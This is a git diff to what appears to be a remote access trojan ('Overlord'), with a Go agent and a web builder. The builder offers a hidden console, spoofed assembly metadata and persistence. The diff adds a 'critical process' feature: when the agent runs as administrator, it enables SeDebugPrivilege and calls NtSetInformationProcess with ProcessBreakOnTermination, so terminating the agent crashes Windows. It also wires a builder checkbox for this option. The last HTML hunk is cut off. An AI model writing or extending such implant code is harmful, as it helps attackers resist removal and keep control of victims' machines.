diff --git a/Overlord-Client/cmd/agent/config/config.go b/Overlord-Client/cmd/agent/config/config.go index 2872d64..47e5ad6 100644 --- a/Overlord-Client/cmd/agent/config/config.go +++ b/Overlord-Client/cmd/agent/config/config.go @@ -28,6 +28,7 @@ var DefaultCountry = "" var DefaultAgentToken = "" var DefaultBuildTag = "" var DefaultSleepSeconds = "0" +var DefaultCriticalProcess = "false" const settingsFile = "config/settings.json" const serverIndexFile = "config/server_index.json" @@ -57,6 +58,7 @@ type Config struct { CaptureInterval time.Duration DisableCapture bool EnablePersistence bool + CriticalProcess bool TLSInsecureSkipVerify bool TLSCAPath string TLSClientCert string @@ -123,6 +125,8 @@ func Load() Config { enablePersistence = v == "true" || v == "1" || v == "yes" } + criticalProcess := strings.ToLower(DefaultCriticalProcess) == "true" + tlsInsecureSkipVerify := true if v := strings.ToLower(strings.TrimSpace(os.Getenv("OVERLORD_TLS_INSECURE_SKIP_VERIFY"))); v != "" { tlsInsecureSkipVerify = v == "true" || v == "1" || v == "yes" @@ -152,6 +156,7 @@ func Load() Config { ID: defaultHWID, HWID: firstNonEmpty(fileSettings.HWID, defaultHWID), EnablePersistence: enablePersistence, + CriticalProcess: criticalProcess, Country: firstNonEmpty(strings.TrimSpace(fileSettings.Country), DefaultCountry), OS: runtime.GOOS, Arch: runtime.GOARCH, diff --git a/Overlord-Client/cmd/agent/criticalproc/criticalproc_default.go b/Overlord-Client/cmd/agent/criticalproc/criticalproc_default.go new file mode 100644 index 0000000..4ca80d0 --- /dev/null +++ b/Overlord-Client/cmd/agent/criticalproc/criticalproc_default.go @@ -0,0 +1,8 @@ +//go:build !windows +// +build !windows + +package criticalproc + +func Setup() {} + +func Teardown() {} diff --git a/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go b/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go new file mode 100644 index 0000000..dc309bb --- /dev/null +++ b/Overlord-Client/cmd/agent/criticalproc/criticalproc_windows.go @@ -0,0 +1,87 @@ +//go:build windows +// +build windows + +package criticalproc + +import ( + "fmt" + "log" + "unsafe" + + "golang.org/x/sys/windows" +) + +var ( + modntdll = windows.NewLazySystemDLL("ntdll.dll") + procNtSetInformationProcess = modntdll.NewProc("NtSetInformationProcess") +) + +const processBreakOnTermination = 29 + +func Setup() { + if !windows.GetCurrentProcessToken().IsElevated() { + log.Printf("[criticalproc] not running as administrator, skipping critical process flag") + return + } + if err := enableSeDebugPrivilege(); err != nil { + log.Printf("[criticalproc] failed to enable SeDebugPrivilege: %v", err) + return + } + if err := ntSetBreakOnTermination(1); err != nil { + log.Printf("[criticalproc] failed to set critical process: %v", err) + return + } + log.Printf("[criticalproc] process marked as critical") +} + +func Teardown() { + if !windows.GetCurrentProcessToken().IsElevated() { + return + } + if err := ntSetBreakOnTermination(0); err != nil { + log.Printf("[criticalproc] failed to unset critical process: %v", err) + } +} + +func enableSeDebugPrivilege() error { + var hToken windows.Token + err := windows.OpenProcessToken( + windows.CurrentProcess(), + windows.TOKEN_ADJUST_PRIVILEGES|windows.TOKEN_QUERY, + &hToken, + ) + if err != nil { + return fmt.Errorf("OpenProcessToken: %w", err) + } + defer hToken.Close() + + seDebugName, err := windows.UTF16PtrFromString("SeDebugPrivilege") + if err != nil { + return fmt.Errorf("UTF16PtrFromString: %w", err) + } + var luid windows.LUID + if err := windows.LookupPrivilegeValue(nil, seDebugName, &luid); err != nil { + return fmt.Errorf("LookupPrivilegeValue: %w", err) + } + + tp := windows.Tokenprivileges{ + PrivilegeCount: 1, + Privileges: [1]windows.LUIDAndAttributes{ + {Luid: luid, Attributes: windows.SE_PRIVILEGE_ENABLED}, + }, + } + return windows.AdjustTokenPrivileges(hToken, false, &tp, 0, nil, nil) +} + +func ntSetBreakOnTermination(val uint32) error { + ret, _, _ := procNtSetInformationProcess.Call( + uintptr(windows.CurrentProcess()), + processBreakOnTermination, + uintptr(unsafe.Pointer(&val)), + unsafe.Sizeof(val), + ) + if ret != 0 { + return fmt.Errorf("NtSetInformationProcess(ProcessBreakOnTermination) failed: NTSTATUS 0x%x", ret) + } + return nil +} diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 41448fe..376dc11 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -17,6 +17,7 @@ import ( "overlord-client/cmd/agent/audio" "overlord-client/cmd/agent/capture" "overlord-client/cmd/agent/console" + "overlord-client/cmd/agent/criticalproc" "overlord-client/cmd/agent/filesearch" "overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/plugins" @@ -1907,11 +1908,13 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in log.Printf("uninstall: failed to remove persistence: %v", err) } + criticalproc.Teardown() os.Exit(0) case "disconnect": res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} _ = wire.WriteMsg(ctx, env.Conn, res) resetForReconnect(env) + criticalproc.Teardown() os.Exit(0) return nil case "reconnect": diff --git a/Overlord-Client/cmd/agent/main.go b/Overlord-Client/cmd/agent/main.go index 09998bc..801ab18 100644 --- a/Overlord-Client/cmd/agent/main.go +++ b/Overlord-Client/cmd/agent/main.go @@ -5,6 +5,7 @@ import ( "time" "overlord-client/cmd/agent/config" + "overlord-client/cmd/agent/criticalproc" "overlord-client/cmd/agent/mutex" "overlord-client/cmd/agent/persistence" ) @@ -24,6 +25,10 @@ func main() { } } + if cfg.CriticalProcess { + criticalproc.Setup() + } + releaseMutex, ok, err := mutex.Acquire(cfg.Mutex) if err != nil { log.Printf("[mutex] failed to initialize mutex: %v", err) diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index ecffeca..7217a70 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -109,6 +109,7 @@ function saveFormSettings() { startupName: document.getElementById("startup-name")?.value ?? "", hideConsole: document.querySelector('input[name="hide-console"]')?.checked ?? false, requireAdmin: document.querySelector('input[name="require-admin"]')?.checked ?? false, + criticalProcess: document.querySelector('input[name="critical-process"]')?.checked ?? false, assemblyTitle: document.getElementById("assembly-title")?.value ?? "", assemblyProduct: document.getElementById("assembly-product")?.value ?? "", assemblyCompany: document.getElementById("assembly-company")?.value ?? "", @@ -161,6 +162,7 @@ function restoreFormSettings() { if (s.startupName !== undefined) setVal("startup-name", s.startupName); if (s.hideConsole !== undefined) setCb('input[name="hide-console"]', s.hideConsole); if (s.requireAdmin !== undefined) setCb('input[name="require-admin"]', s.requireAdmin); + if (s.criticalProcess !== undefined) setCb('input[name="critical-process"]', s.criticalProcess); if (s.assemblyTitle !== undefined) setVal("assembly-title", s.assemblyTitle); if (s.assemblyProduct !== undefined) setVal("assembly-product", s.assemblyProduct); if (s.assemblyCompany !== undefined) setVal("assembly-company", s.assemblyCompany); @@ -586,6 +588,7 @@ form?.addEventListener("submit", async (e) => { const assemblyVersion = form.querySelector("#assembly-version")?.value.trim() || ""; const assemblyCopyright = form.querySelector("#assembly-copyright")?.value.trim() || ""; const requireAdmin = form.querySelector('input[name="require-admin"]')?.checked || false; + const criticalProcess = form.querySelector('input[name="critical-process"]')?.checked || false; const outputExtension = form.querySelector("#output-extension")?.value || ".exe"; const sleepSecondsRaw = parseInt(form.querySelector("#sleep-seconds")?.value || "0", 10); const sleepSeconds = !isNaN(sleepSecondsRaw) && sleepSecondsRaw > 0 ? sleepSecondsRaw : 0; @@ -614,6 +617,7 @@ form?.addEventListener("submit", async (e) => { assemblyVersion: assemblyVersion || undefined, assemblyCopyright: assemblyCopyright || undefined, requireAdmin, + criticalProcess, outputExtension, sleepSeconds: sleepSeconds > 0 ? sleepSeconds : undefined, iconBase64: pendingIconBase64 || undefined, diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index 1809c42..6b8262a 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -418,6 +418,16 @@ + +